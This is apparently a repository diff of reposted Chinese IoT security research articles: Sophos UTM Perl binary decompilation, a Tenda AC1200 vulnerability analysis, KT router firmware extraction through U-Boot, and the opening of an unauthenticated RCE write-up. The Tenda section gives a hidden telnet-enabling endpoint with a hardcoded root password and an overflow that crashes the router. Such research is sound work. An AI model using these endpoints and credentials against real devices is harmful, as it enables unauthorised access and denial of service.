这个漏洞影响所有带有USB共享功能的路由网关设备,最新固件和历史固件都受影响
|
||||
## 总结
|
||||
总的来说挖到这几个漏洞都不是很难,需要扩展一下自己的思路和实际动手能力,以上三个漏洞均已提交CNVD,但是中高危也不给证书,emmm,其实影响的还是挺多的,几乎涵盖了所有路由网关设备,而且价格还贵。。。行吧,确实也不是高质量漏洞,毕竟很好挖。争取后边挖到一些高质量的洞,大家一起加油。
|
||||
@@ -0,0 +1,420 @@
|
||||
# 网络设备分析实战之Sophos UTM 固件反编译 Perl 源码
|
||||
> 饭否
|
||||
> 来源:https://www.iotsec-zone.com/article/5
|
||||
|
||||
# 网络设备分析实战之Sophos UTM 固件反编译 Perl 源码
|
||||
|
||||
## 一. 题记:
|
||||
|
||||
网络设备或其他IoT设备提取到固件之后进行安全分析和漏洞挖掘工作,对 Sophos UTM 进行安全分析时,发现其具体提供Web 功能的是一个Linux 文件,并没有发现web功能实现的html代码,通过 Burp Suite 抓包Web 请求发现所有web页面的请求展示都是通过该Linux 文件实现,自然必须对其进行解析才行继续分析,但难度非常大,一度束手无策,经过几天的详细排查分析,最终得以解决。
|
||||
|
||||
由于国内外资料网站均没有对Sophos UTM 固件文件的反编译资料,故梳理成文,分享给大家。
|
||||
|
||||
## 二. 开始分析
|
||||
|
||||
UTM 是Unified Threat Management的缩写 ,简称为统一威胁管理,各个安全厂商都有自己的 UTM 产品,比较出名的是 Fortinet、WatchGuard、Sophos等等,此次需要进行安全分析的产品就是 Sophos UTM,官方网站为:
|
||||
|
||||
[https://www.sophos.com/en-us/products/unified-threat-management.aspx](https://www.sophos.com/en-us/products/unified-threat-management.aspx)
|
||||
|
||||
获取到的固件文件为一个完整打包好的 ISO 光盘文件,使用 VmWare Workstation 安装之后, 就可以进入到UTM 页面中。
|
||||
|
||||
本地访问的地址是 [https://192.168.21.100:4444/](https://192.168.21.100:4444/)
|
||||
|
||||

|
||||
|
||||
一般来说获取一个ssh shell 将会非常有助于安全分析,比完全从Web 入手难度就要下降几个等级,下面就先来获取命令行shell。
|
||||
|
||||
### 1. 获取ssh shell & root shell
|
||||
|
||||
Sophos UTM 默认情况下不允许使用ssh shell,必须在web页面中开启,Management-System Settings-Shell Acess 开启shell 功能。
|
||||
|
||||

|
||||
|
||||
注意要选择 "Allow password authentication",否则要使用证书验证,比较麻烦,不方便分析。
|
||||
|
||||
接着输入 `root` 和 `loginuser` 两个用户的密码,并使用 `loginuser` ssh 登录。
|
||||
|
||||
```bash
|
||||
a@DESKTOP-22L12IV:$ ssh [email protected]
|
||||
[email protected]'s password:
|
||||
Last login: Mon Nov 9 05:34:23 2020 from 192.168.21.1
|
||||
|
||||
Sophos UTM
|
||||
(C) Copyright 2000-2014 Sophos Limited and others. All rights reserved.
|
||||
Sophos is a registered trademark of Sophos Limited and Sophos Group.
|
||||
All other product and company names mentioned are trademarks or registered
|
||||
trademarks of their respective owners.
|
||||
|
||||
For more copyright information look at /doc/astaro-license.txt
|
||||
or http://www.astaro.com/doc/astaro-license.txt
|
||||
|
||||
NOTE: If not explicitly approved by Sophos support, any modifications
|
||||
done by root will void your support.
|
||||
|
||||
loginuser@test:/home/login > su
|
||||
Password:
|
||||
test:/home/login # id
|
||||
uid=0(root) gid=0(root) groups=0(root),890(xorp)
|
||||
test:/home/login # uname -a
|
||||
Linux test 3.8.13.27-0.176377654.gd7350fc-smp64 #1 SMP Wed Sep 17 10:45:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
|
||||
test:/home/login # cat /proc/version
|
||||
Linux version 3.8.13.27-0.176377654.gd7350fc-smp64 (abuild@axgbuild) (gcc version 4.3.4 [gcc-4_3-branch revision 152973] (SUSE Linux) ) #1 SMP Wed Sep 17 10:45:23 UTC 2014
|
||||
test:/home/login # cat /etc/version
|
||||
9.208008
|
||||
test:/home/login #
|
||||
```
|
||||
|
||||
### 2. 登录抓包
|
||||
|
||||
接下来就是登录抓包进行登录验证分析,使用的工具是`Burp Suite Pro`,正确配置之后,就可以有完整的登录验证包。
|
||||
|
||||
```json
|
||||
POST /webadmin.plx HTTP/1.1
|
||||
Host: 192.168.21.100:4444
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
|
||||
Accept: text/javascript, text/html, application/xml, text/xml, */*
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate
|
||||
X-Requested-With: XMLHttpRequest
|
||||
X-Prototype-Version: 1.5.1.1
|
||||
Content-type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
Content-Length: 287
|
||||
Origin: https://192.168.21.100:4444
|
||||
Connection: close
|
||||
Referer: https://192.168.21.100:4444/
|
||||
|
||||
{"objs": [{"elements": {"login_username": "admin", "login_password": "test0011"}, "FID": "login_process"}], "SID": "0", "browser": "gecko", "backend_version": -1, "loc": "english", "_cookie": null, "wdebug": 0, "RID": "1604979704552_0.8572369473251601", "current_uuid": "", "ipv6": true}
|
||||
```
|
||||
|
||||
发现登陆是使用 `json` 格式进行网络请求,方法是 `POST` ,请求的的接口文件是 `webadmin.plx`,同时登陆之后的页面请求和展示都是通过`webadmin.plx`进行数据交互,接下来就是对`webadmin.plx`进行解析分析。
|
||||
|
||||
## 三. 疑难问题
|
||||
|
||||
截止到此处,还没有遇到无法解决的问题,但深入文件分析时却给了沉重的一击,先来看`webadmin.plx`的文件属性:
|
||||
|
||||
```bash
|
||||
test:/var/sec/chroot-httpd/var/webadmin # file webadmin.plx
|
||||
webadmin.plx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped
|
||||
```
|
||||
|
||||
32位可执行文件,没有异常,但是当使用 GDB 调试的时候提示:
|
||||
|
||||

|
||||
|
||||
GDB 提示文件格式不正确,事实是该文件可以执行:
|
||||
|
||||
```bash
|
||||
test:/var/sec/chroot-httpd/var/webadmin # ./webadmin.plx
|
||||
[19370] WARN: Use of uninitialized value $ENV{"REQUEST_METHOD"} in string eq at /</var/sec/chroot-httpd/var/webadmin/webadmin.plx>wfe/asg/modules/asg_fcgi.pm line 59.
|
||||
test:/var/sec/chroot-httpd/var/webadmin #
|
||||
```
|
||||
|
||||
有正常的错误返回,说明`webadmin.plx`文件正常,执行正常。
|
||||
|
||||
又发现该文件没有任何的 `Section`:
|
||||
|
||||
```
|
||||
a@DESKTOP-22L12IV:$ readelf -S webadmin.plx
|
||||
There are no sections in this file.
|
||||
```
|
||||
|
||||
IDA Pro 又能够正常解析elf 文件,只有 `LOAD`节。
|
||||
|
||||

|
||||
|
||||
两眼一抓瞎,这可怎么办?
|
||||
|
||||
GDB 调试进程,失败。
|
||||
|
||||
尝试使用GDB 附加调试进程,失败+1,`not in executable format: File format not recognized`。
|
||||
|
||||
尝试GDB 附加父进程,然后调试子进程,失败+1,`not in executable format: File format not recognized`。
|
||||
|
||||
尝试GDB dumps内存,失败+1,`not in executable format: File format not recognized`。
|
||||
|
||||
GDB Server 远程调试,失败+1,`not in executable format: File format not recognized`。
|
||||
|
||||
获取两个不同版本的`webadmin.plx`文件,进行补丁对比,无差别,失败+1。
|
||||
|
||||
查找分析 ELF 反调试手段,失败+1。
|
||||
|
||||
最后得出结论,GDB 调试无效,继续接着找其他办法。
|
||||
|
||||
梳理一下目前得到的信息:
|
||||
|
||||
1. `webadmin.plx`负责处理UTM 系统登录,页面交互处理等等工作,是一个主体处理文件。
|
||||
2. ELF 可执行程序,32位。
|
||||
3. 可正常执行。
|
||||
4. GDB 调试无效
|
||||
5. 无反调试
|
||||
6. 补丁对比无效
|
||||
|
||||
若进行安全分析和漏洞挖掘,就必须剁掉`webadmin.plx`,接着分析吧。
|
||||
|
||||
## 四. 确认Perl 编译器
|
||||
|
||||
认认真真的分析 `webadmin.plx`,查找ELF 中的字符串,其中几个字段尤为可疑:
|
||||
|
||||
```asm
|
||||
a@DESKTOP-22L12IV:Sophos_UTM$ strings webadmin.plx |grep Perl
|
||||
psym_Perl_newSVpv
|
||||
psym_Perl_stack_grow
|
||||
psym_Perl_Itmps_floor_ptr
|
||||
psym_Perl_sv_setiv
|
||||
psym_Perl_markstack_grow
|
||||
psym_Perl_Iexit_flags_ptr
|
||||
psym_Perl_save_int
|
||||
psym_Perl_push_scope
|
||||
psym_Perl_Isv_no_ptr
|
||||
psym_Perl_call_sv
|
||||
psym_Perl_Imarkstack_max_ptr
|
||||
psym_Perl_Istack_base_ptr
|
||||
psym_Perl_Gop_mutex_ptr
|
||||
psym_Perl_eval_pv
|
||||
psym_Perl_Gthr_key_ptr
|
||||
psym_Perl_call_list
|
||||
psym_Perl_Icurstackinfo_ptr
|
||||
psym_Perl_get_context
|
||||
psym_Perl_Guse_safe_putenv_ptr
|
||||
psym_Perl_IXpv_ptr
|
||||
psym_Perl_pop_scope
|
||||
```
|
||||
|
||||
很明显,跟Perl有很大的关系。
|
||||
|
||||

|
||||
|
||||
IDA 中也显示同样的结果,怀疑该`webadmin.plx`是由Perl 编译出来的,接下来就是验证自己的想法。
|
||||
|
||||
搜索引擎中查找资料,发现主流有三款程序可以从 Perl 代码编译成 ELF 软件:PerlAPP,PerlCC,Perl2EXE,而针对 Perl ELF 反编译就只有52破解网站上有一份PerlAPP 在Windows 下的资料,Linux 下的资料一无所有,也是奇葩,Perl 越混越差了。
|
||||
|
||||
从IDA对`webadmin.plx`的反编译代码中分析查找,找到一处关键字:
|
||||
|
||||
```c++
|
||||
v1 = *(_DWORD *)psym_Perl_Istack_sp_ptr(a1);
|
||||
v2 = (int **)psym_Perl_Imarkstack_ptr_ptr(a1);
|
||||
v3 = **v2;
|
||||
--*v2;
|
||||
v4 = (v1 - (*(_DWORD *)psym_Perl_Istack_base_ptr(a1) + 4 * v3)) >> 2;
|
||||
v18 = sub_804E6EC();
|
||||
v33 = a1;
|
||||
v34 = psym_Perl_get_hv(a1, "PerlApp::lic", 1); //PerlApp::lic,此处为关键字
|
||||
if ( v4 )
|
||||
v19 = *(_DWORD *)(*(_DWORD *)psym_Perl_Istack_base_ptr(a1) + 4 * (v3 + 1));
|
||||
else
|
||||
v19 = psym_Perl_Isv_undef_ptr(a1);
|
||||
v20 = *(int **)(v18 + 48);
|
||||
licFree(*(_DWORD *)(v18 + 56));
|
||||
*(_DWORD *)(v18 + 56) = 0;
|
||||
```
|
||||
|
||||
从`PerlApp::lic`关键字来分析,基本可以确认 `webadmin.plx`是使用 `PerlAPP` 编译而成的ELF文件。
|
||||
|
||||
## 五. 问题复现
|
||||
|
||||
`webadmin.plx`确认是由 `PerlAPP`工具编译而来,接下来就来验证一下,在Linux 环境下搭建一套PerlAPP环境。
|
||||
|
||||
PerlAPP的全称是 `Perl Dev Kit(PDK)`,有ActiveState 公司开发,但是其已经在2016年不再进行更新维护,在2020年10月份正式终止软件生命周期。
|
||||
|
||||

|
||||
|
||||
[https://www.activestate.com/blog/perl-dev-kit-pdk-now-end-of-life/](https://www.activestate.com/blog/perl-dev-kit-pdk-now-end-of-life/)
|
||||
|
||||
软件终止更新还好,影响不大,但网络上Linux 版本的PerlAPP非常难找,最终是在一个不起眼的小网站上下载到了低版本的安装包(这又是一个辛酸的故事),进行安装测试。
|
||||
|
||||
PerlApp安装需要 32位`Active Perl`(必须),而非操作系统自带的perl,又下载了一个低版本的`Active Perl`,才算完成PDK的安装(一把辛酸泪)。
|
||||
|
||||

|
||||
|
||||
最后拿一个最简单的 perl 示例代码来进行测试:
|
||||
|
||||
```bash
|
||||
[test@192 Desktop]$ cat test.pl
|
||||
#!/usr/bin/perl
|
||||
|
||||
print "Hello, World!\n";
|
||||
[test@192 Desktop]$ perl test.pl
|
||||
Hello, World!
|
||||
[test@192 Desktop]$
|
||||
```
|
||||
|
||||
使用PerlApp进行编译测试:
|
||||
|
||||

|
||||
|
||||
shell中也能够正常执行:
|
||||
|
||||
```bash
|
||||
[test@192 Desktop]$ ./test
|
||||
Hello, World! # 正常执行
|
||||
[test@192 Desktop]$
|
||||
```
|
||||
|
||||
使用GDB 调试编译好的程序:
|
||||
|
||||
```bash
|
||||
[test@192 Desktop]$ gdb test
|
||||
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-119.el7
|
||||
Copyright (C) 2013 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
|
||||
and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-redhat-linux-gnu".
|
||||
For bug reporting instructions, please see:
|
||||
<http://www.gnu.org/software/gdb/bugs/>...
|
||||
"/home/test/Desktop/test": not in executable format: File format not recognized # 同样的报错提示
|
||||
(gdb)
|
||||
```
|
||||
|
||||
好吧,同样的`not in executable format: File format not recognized`报错提示,完美复刻`webadmin.plx`遇到的问题。
|
||||
|
||||
## 六. 反编译 Perl 源码
|
||||
|
||||
现在来梳理一下目前的信息:
|
||||
|
||||
1. `webadmin.plx`是使用 `PerlApp`编译而成的ELF 文件
|
||||
2. 不能使用GDB 调试,GDB Server也不行
|
||||
3. 网络上没有 Linux 反编译Perl 的资料
|
||||
|
||||
在团队小伙伴 ztop(此处应该有掌声)的帮助下,发现使用 IDA 的 `linux_server`,结合IDA 远程调试,就可以完美绕过 GDB 无法调试的问题。在Centos 7 中无法使用IDA 远程调试,不知道具体原因是什么,遂放弃,选择使用 Kali 2018 R4,IDA的主机为Windows。
|
||||
|
||||
```bash
|
||||
root@kali:~# chmod +x linux_server
|
||||
root@kali:~# ./linux_server
|
||||
IDA Linux 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017
|
||||
Listening on 0.0.0.0:23946...
|
||||
=========================================================
|
||||
[1] Accepting connection from 192.168.21.1...
|
||||
Warning: Section header string table index 26 is out of bounds
|
||||
Hello, World!
|
||||
Looking for GNU DWARF file at "/usr/lib32/2651bcf6f5569acd1dba629eaaaa5f002af684.debug"... no.
|
||||
Looking for GNU DWARF file at "/usr/lib32/.debug/2651bcf6f5569acd1dba629eaaaa5f002af684.debug"... no.
|
||||
[1] Closing connection from 192.168.21.1...
|
||||
==========================================================
|
||||
```
|
||||
|
||||
linux_server 的监听23946端口,需要在宿主机进行配置。
|
||||
|
||||
!
|
||||
|
||||
`webadmin.plx`的`main`函数中:
|
||||
|
||||
```c++
|
||||
signed int __cdecl paperl_main(int a1, int a2, int a3, _DWORD *a4, int (__cdecl *a5)(int))
|
||||
{
|
||||
signed int v5; // ebx
|
||||
int v7; // [esp+10h] [ebp-8h]
|
||||
|
||||
v7 = dword_805B4F8;
|
||||
v5 = paperl_create((int ***)&v7, a1, a2, a3, a4, a5, 1); //此函数内部进行perl 代码执行。
|
||||
paperl_destruct(v7);
|
||||
return v5;
|
||||
}
|
||||
```
|
||||
|
||||
进入到 `paperl_create()`函数内部:
|
||||
|
||||
```c++
|
||||
ptr = sub_804C370(**v43, "*SCRIPTNAME", (int)"scriptname");
|
||||
if ( ptr )
|
||||
{
|
||||
v27 = (int *)sub_804C370(**v43, ptr, (int)"script"); //此函数对perl代码进行初始化
|
||||
v43[9] = v27;
|
||||
if ( !v27 || (v28 = (char *)sub_804C2D0(strlen(ptr) + 14, (int)"hashline"), (v43[8] = (int *)v28) == 0) )
|
||||
```
|
||||
|
||||
找到关键代码位置:
|
||||
|
||||
```asm
|
||||
LOAD:0804E224 jz loc_804E32E
|
||||
LOAD:0804E22A mov eax, [edi]
|
||||
LOAD:0804E22C mov ecx, offset aScript ; "script"
|
||||
LOAD:0804E231 mov edx, [ebp+ptr]
|
||||
LOAD:0804E237 mov eax, [eax]
|
||||
LOAD:0804E239 call sub_804C370 ; 函数执行后,解密出perl代码
|
||||
LOAD:0804E23E mov [edi+24h], eax
|
||||
LOAD:0804E241 test eax, eax
|
||||
LOAD:0804E243 jz loc_804E517
|
||||
LOAD:0804E249 mov edx, [ebp+ptr]
|
||||
LOAD:0804E24F cld
|
||||
LOAD:0804E250 mov ecx, 0FFFFFFFFh
|
||||
LOAD:0804E255 xor eax, eax
|
||||
```
|
||||
|
||||
经过一系列的仔细调试和分析,最终发现 `0804E239 call sub_804C370`函数执行后,eax 指向堆的内存中出现了 `#!/usr/bin/perl`字符,
|
||||
|
||||

|
||||
|
||||
验证它:
|
||||
|
||||

|
||||
|
||||
很明显都是明文字符,dump 出来进行校验,获取到完整的`webadmin.plx`功能的 perl 源码:
|
||||
|
||||
```perl
|
||||
# setting line discipline to utf8 --------------------------
|
||||
binmode( STDOUT, ':utf8' );
|
||||
binmode( STDIN, ':utf8' );
|
||||
|
||||
# getting our paths
|
||||
my ( $apppath, $appname ) = &get_path_and_appname();
|
||||
|
||||
# load core config ------------------------------------------
|
||||
die '[' . $$ . '] DIED: core configuration could not be found' unless -e $RealBin . '/core/res/config.ph';
|
||||
my $config_basic = read_ph( $RealBin . '/core/res/config.ph' );
|
||||
die "Could not read core config in [$RealBin/core/res/config.ph]!" unless $config_basic;
|
||||
|
||||
# fetching application config ------------------------------
|
||||
die '[' . $$ . '] DIED: application configuration could not be found' unless -l $RealBin . '/config';
|
||||
my $config_app = read_ph( $RealBin . '/config' );
|
||||
die "Could not read config for [" . $appname . "] in [" . $RealBin . "/config]!" unless $config_app;
|
||||
|
||||
# initialize Astaro::Logdispatcher -------------------------
|
||||
Astaro::Logdispatcher->init({
|
||||
syslogname => 'webadmin',
|
||||
myname => 'webadmin',
|
||||
redirect_stdout => 0,
|
||||
redirect_stderr => 0,
|
||||
configfile => 'core/res/core-log.conf',
|
||||
configset => {
|
||||
logvars => {
|
||||
logbitmask => 7,
|
||||
syslogmtypeinfo => 1,
|
||||
syslogcallerinfo => 1,
|
||||
tofilehandle => 0
|
||||
}
|
||||
},
|
||||
logfiler => [
|
||||
'+ .',
|
||||
],
|
||||
printfile => '/dev/null'
|
||||
});
|
||||
```
|
||||
|
||||
至此完整的获取到 Sophos UTM webadmin 功能的perl 源代码,剩余的工作就是基础的代码审计和漏洞挖掘。
|
||||
|
||||
## 七. 梳理总结
|
||||
|
||||
Perl 编译的ELF 文件在执行时,会在`/tmp/`目录下生成`libperl.so` 文件,perl 代码通过调用so文件接口j来执行,本次调试释放路径是
|
||||
|
||||
`/tmp/pdk-root/757fcfe556133c27007d41e4e52f4425/libperl.so` ,也可以通过hook so 的函数来达到获取perl 源码的目的。
|
||||
|
||||
Perl 语言编译的ELF文件,如何进行反编译,网络上没有任何有价值的信息,之前对python 和go 编译的ELF 文件都有过反编译经验,按道理来说同样是能够通过反编译来获取源代码,但是GDB 无法调试 ELF 困扰了很长时间,动态获取源码相对于静态去逆向解密算法要简单很多,虽然最后也并不简单。
|
||||
|
||||
其中的工作并没有去逆向解密算法,理清楚算法的情况下,可以编写脚本静态还原perl 源代码,但以安全分析或漏洞挖掘为目标,算是告一段落了,后续工作也可以编写IDA 的python 脚本,动态提取源代码。
|
||||
|
||||
## 八. 资料索引
|
||||
|
||||
### 1. demo
|
||||
|
||||
[https://utm.trysophos.com/](https://utm.trysophos.com/)
|
||||
|
||||
### 2. 从PDK打包的可执行程序里面解出完整的Perl源码
|
||||
|
||||
[https://www.52pojie.cn/thread-317216-1-1.html](https://www.52pojie.cn/thread-317216-1-1.html)
|
||||
|
||||
## 九. 注意事项
|
||||
|
||||
1. VmWare Workstation 安装固件 ISO 需要选择低版本的兼容性,否则无法安装。
|
||||
2. Active Perl 要选择 X32位安装包,X64的安装包无法安装 PDK
|
||||
@@ -0,0 +1,76 @@
|
||||
# 腾达AC1200路由器漏洞分析
|
||||
> 0431物联卫士实验室
|
||||
> 来源:https://www.iotsec-zone.com/article/101
|
||||
|
||||
> 测试环境:Ubuntu 18.04
|
||||
>
|
||||
> 固件版本:V15.03.06.51_multi
|
||||
>
|
||||
> 固件下载地址:[https://www.tendacn.com/en/download/detail-3801.html](https://www.tendacn.com/en/download/detail-3801.html)
|
||||
>
|
||||
> 厂商地址:[https://www.tendacn.com/](https://www.tendacn.com/)
|
||||
|
||||
## 0x01
|
||||
|
||||
首先我们将官网上面的固件下载到本地使用binwalk对固件进行解包
|
||||
|
||||
```bash
|
||||
binwalk -Me US_AC6V2.0RTL_V15.03.06.51_multi_TDE01.bin
|
||||
```
|
||||
|
||||
看来固件没有加密,成功拿到文件系统
|
||||
|
||||

|
||||
接下来我们对固件升级包解压后的文件进行分析
|
||||
|
||||
通过对其前端的登录页面可以发现,路由器使用的登录方式是POST请求传参,密码使用的MD5加密
|
||||
|
||||

|
||||
|
||||

|
||||
对系统服务httpd文件分析,可以得知改路由器没有对登录进行次数限制,换句话说已知用户名admin未知密码,我们就可以使用密码爆破的手法进行登录
|
||||
|
||||

|
||||
身份验证则采用的是cookie方式,换句话说cookie等于密码的MD5+随机8位字符串
|
||||
|
||||

|
||||
路由器的管理员密码我设置的是12345678,验证其cookie的值是否是MD5+随机8位字符串
|
||||
|
||||

|
||||
|
||||
## 0x02 CVE-2020-28093
|
||||
|
||||
我们在进行login逻辑分析的时候,看到一行这样的代码
|
||||
|
||||

|
||||
|
||||
可以看出如果请求的url不是/goform/telnet或者/goform/ate,那么就会return 0。他没有写else也就是说当url是/goform/telnet的时候就会触发开启telnet,后面还加了g_Pass[0]也就是说这是一个在登录状态下才会启动成功,我们直接浏览器访问
|
||||
|
||||

|
||||
返回状态没有报错,使用工具nmap扫描一下端口,可以看到telnet端口已经开启
|
||||
|
||||

|
||||
直接登录telnet,通过百度查询可知账号root密码Fireitup
|
||||
|
||||

|
||||
尝试写一个txt文件验证一下
|
||||
|
||||

|
||||
发现这是一个只读文件系统,最后发现webroot目录是具有写入权限的但是重启之后会被重置
|
||||
|
||||

|
||||
|
||||

|
||||
我们可以使用tar命令将整个文件系统进行打包带webroot目录下面,在通过授权的访问下载出来整个文件系统
|
||||
|
||||
## 0x03.CVE-2020-28095
|
||||
|
||||
根据wireless_ssid.js可以看到提交的数据接口为goform/WifiBasicSet
|
||||
|
||||

|
||||
根据IDA的函数名进行搜索WifiBasicSet,可以看到获取传递的值,默认的值为12345678
|
||||
|
||||

|
||||
当wrlPwd的长度超过一定范围时,触发溢出漏洞,从而导致设备进入DOS状态。经测试可知,一旦设备进入到DOS状态只有重置路由器才可以恢复到正常使用状态。
|
||||
|
||||
**视频链接:[http://mpvideo.qpic.cn/0bc33uacaaaakaaotqqexjrfbxodedoqaiaa.f10002.mp4?dis_k=9af10781f34c9b2e6403d6e004e30adf&dis_t=1644488534&vid=wxv_2263055816461385730&format_id=10002&support_redirect=0&mmversion=false**](http://mpvideo.qpic.cn/0bc33uacaaaakaaotqqexjrfbxodedoqaiaa.f10002.mp4?dis_k=9af10781f34c9b2e6403d6e004e30adf&dis_t=1644488534&vid=wxv_2263055816461385730&format_id=10002&support_redirect=0&mmversion=false**)
|
||||
@@ -0,0 +1,166 @@
|
||||
# 花式固件提取之韩国KT固件
|
||||
> chan
|
||||
> 来源:https://www.iotsec-zone.com/article/459
|
||||
|
||||
## 前言
|
||||
手上有一台韩国的路由器,一直闲置了很久,打算去挖下漏洞,无奈找了很久固件没找到,就连官网都没有这款设备的固件,看来只有拆机;
|
||||

|
||||
|
||||
看到flash那一刻,好吧还是上串口吧;
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 启动信息:
|
||||
从启动信息可以看到U-Boot 版本信息:
|
||||
0xbc140000:flash加载的地址
|
||||
0x80001000:镜像解压后被加载到内存中的地址
|
||||
0x806beb00:这是内核镜像在解压后,执行的入口点地址
|
||||
|
||||

|
||||
|
||||
这个固件启动信息应该是有做滤过,flash的分区信息都没有显示;
|
||||
shell需要身份认证,看来想要提取固件只能从U-Boot下手;
|
||||
|
||||

|
||||
|
||||
重新上电进入到U-Boot,发现命令是非常少,
|
||||
|
||||

|
||||
|
||||
原本打算用nand 将flash 读到内存,再读取出来的,但是启动项根本就没有打印flash的分区信息,如果从头开始去读然后再提取的话觉得太费劲,最后还是放弃了。
|
||||
|
||||
最后想的思路是 通过tftpboot 将镜像加载到内存,然后通过bootm 去启动镜像,然后在新的镜像系统使用dd去提取flash;
|
||||
|
||||
通过进入u-boot可以知道用的是mt7621的芯片方案和nand的flash;
|
||||
镜像可以从openwrt官网找个相同架构的系统;
|
||||
(注意:下载的镜像系统要支持nand并带nand驱动,不然进到系统无法识别设备flash)
|
||||
|
||||
## 准备工作:
|
||||
|
||||
镜像文件:lede-17.01.7-ramips-mt7621-mt7621-initramfs-kernel .bin
|
||||
|
||||
u-boot配置tftp服务
|
||||
|
||||
```
|
||||
setenv ipaddr 10.10.10.123 # 设备ip地址
|
||||
setenv serverip 10.10.10.3 # tftp服务器的ip地址
|
||||
saveenv # 保存环境变量
|
||||
printenv # 打印环境变量信息
|
||||
```
|
||||
|
||||

|
||||
|
||||
ubuntu搭建tftp服务
|
||||
|
||||
```
|
||||
sudo apt update
|
||||
sudo apt install tftpd-hpa
|
||||
```
|
||||
|
||||
编辑配置文件,配置完成后重启服务;
|
||||
```
|
||||
sudo vim /etc/default/tftpd-hpa
|
||||
|
||||
TFTP_USERNAME="tftp"
|
||||
TFTP_DIRECTORY="/home/iot/tftpboot" # 这里是默认tftp文件路径,存放镜像文件路径,可自行设置
|
||||
TFTP_ADDRESS="0.0.0.0:69"
|
||||
TFTP_OPTIONS="--secure"
|
||||
|
||||
sudo systemctl restart tftpd-hpa
|
||||
|
||||
```
|
||||
|
||||
最后把lede-17.01.7-ramips-mt7621-mt7621-initramfs-kernel .bin拷到tftpboot/目录下;
|
||||
我这里为了方便名字改成lede-17.01.7.bin;
|
||||
|
||||
ubuntu配置网卡;
|
||||
|
||||

|
||||
|
||||
## 加载镜像
|
||||
|
||||
接下来使用tftpboot命令将镜像加载到内存,这里出现checksum bad没反应可以ubuntu重启下网卡,再重配下ip应该就可以了;
|
||||
|
||||
```
|
||||
tftpboot 0x88000000 lede-17.01.7.bin
|
||||
```
|
||||
|
||||
加载完成提示:
|
||||
|
||||

|
||||
|
||||
最后使用bootm命令启动镜像
|
||||
|
||||
```
|
||||
bootm 0x88000000
|
||||
```
|
||||
|
||||
启动时候如果出现乱码 是因为波特率不一样,可以关闭串口终端 选择对应的波特率,重开串口终端;
|
||||
下面镜像在内存里成功启动;
|
||||
|
||||

|
||||
|
||||
查看系统分区:
|
||||
|
||||

|
||||
|
||||
## 固件提取
|
||||
|
||||
查看分区目录,mtd0 ~ mtd3为系统分区,mtd0ro ~ mtd3ro是什么分区具体没有去分析;
|
||||
这里mtdblock0 ~ mtdblock3就是flash的分区啦;
|
||||
(这里是猜测的,因为除了系统分区剩下的就是flash分区)
|
||||
|
||||

|
||||
|
||||
接下来就是用dd命令将分区拷出来,然后再合并;
|
||||
|
||||
```
|
||||
dd if=/dev/mtdblock0 of=/tmp/kt01.bin bs=1
|
||||
dd if=/dev/mtdblock1 of=/tmp/kt02.bin bs=1
|
||||
dd if=/dev/mtdblock2 of=/tmp/kt03.bin bs=1
|
||||
```
|
||||
|
||||
最后拷贝mtdblock3的时候系统会挂掉;df查看了下tmp空间有13M,感觉是完全足够;
|
||||
再查看前面拷贝的3个分区大小都不超过1M,后面分区应该是系统文件;尝试多次发现原来是tmp空间使用超过5M 系统就会崩溃;保险起见,最后一个按1M给它分片拷贝出来;
|
||||
(注意:这里系统挂了比较麻烦,要断电重新进入u-boot把系统拷进内存重新启动)
|
||||
|
||||
分片拷贝命令:
|
||||
```
|
||||
dd if=/dev/mtdblock3 of=/tmp/kt04.bin bs=1M skip=0 count=1
|
||||
# 注意skip是开始提取之前跳过的块数,每次提取完记得自加一;
|
||||
```
|
||||
|
||||
下面是拷贝和scp传ubuntu的过程,传完后删除确保tmp空间充足;
|
||||
(注意:这里传数据时候看下ip确保同一网段)
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
这里拷完第12个分片时候用010编辑器查看后面全是FF,由此判断数据已经拷贝完;
|
||||
|
||||

|
||||
|
||||
接下来可以用cat 将分片合并,之前还担心cat合并会有乱码,后来查了下cat合并不会破坏和改变文件原始数据,最终kt.bin合并后的文件;
|
||||
|
||||

|
||||

|
||||
|
||||
binwalk 查看分析,一切都没有问题,继续解压;
|
||||
|
||||

|
||||

|
||||
|
||||
熟悉的系统文件,至此固件提取成功完成,可以愉快的挖洞了;
|
||||
|
||||

|
||||
|
||||
## 总结:
|
||||
第一次使用这样的方式提取固件,中间还踩了不少坑,最终还是提取成功;
|
||||
提取过程主要是问题是分区数据太大,本地空间不足,导致提取数据不完整,
|
||||
系统还会崩溃,最后还是建议分片提取;这样的方式提取固件确实比nand和md的方式提取效率快;
|
||||
最后不得不说棒子对安全这方便还是比较注重的;
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,788 @@
|
||||
# 记一次全设备通杀未授权RCE的挖掘经历
|
||||
> winmt
|
||||
> 来源:https://www.iotsec-zone.com/article/381
|
||||
|
||||
# 记一次全设备通杀未授权RCE的挖掘经历
|
||||
|
||||
## 前言
|
||||
|
||||
想来上一次挖洞还在一年前的大一下,然后就一直在忙活写论文,感觉挺枯燥的(可能是自己不太适合弄学术吧QAQ),所以年初1~2月的时候,有空的时候就又会挖一挖国内外各大知名厂商的设备,拿了几份思科、小米等大厂商的公开致谢,也分配到了一些`CVE`和`CNVD`编号,之后就没再挖洞,继续忙活论文了QAQ。
|
||||
|
||||
某捷算是国内挺大的厂商了,我对其某系统进行了漏洞挖掘,并发现了**一个可远程攻击的未授权命令执行漏洞,可以通杀使用该系统的所有路由器、交换机、中继器、无线接入点`AP`以及无线控制器`AC`等众多设备**,危害还是相当严重的。
|
||||
|
||||
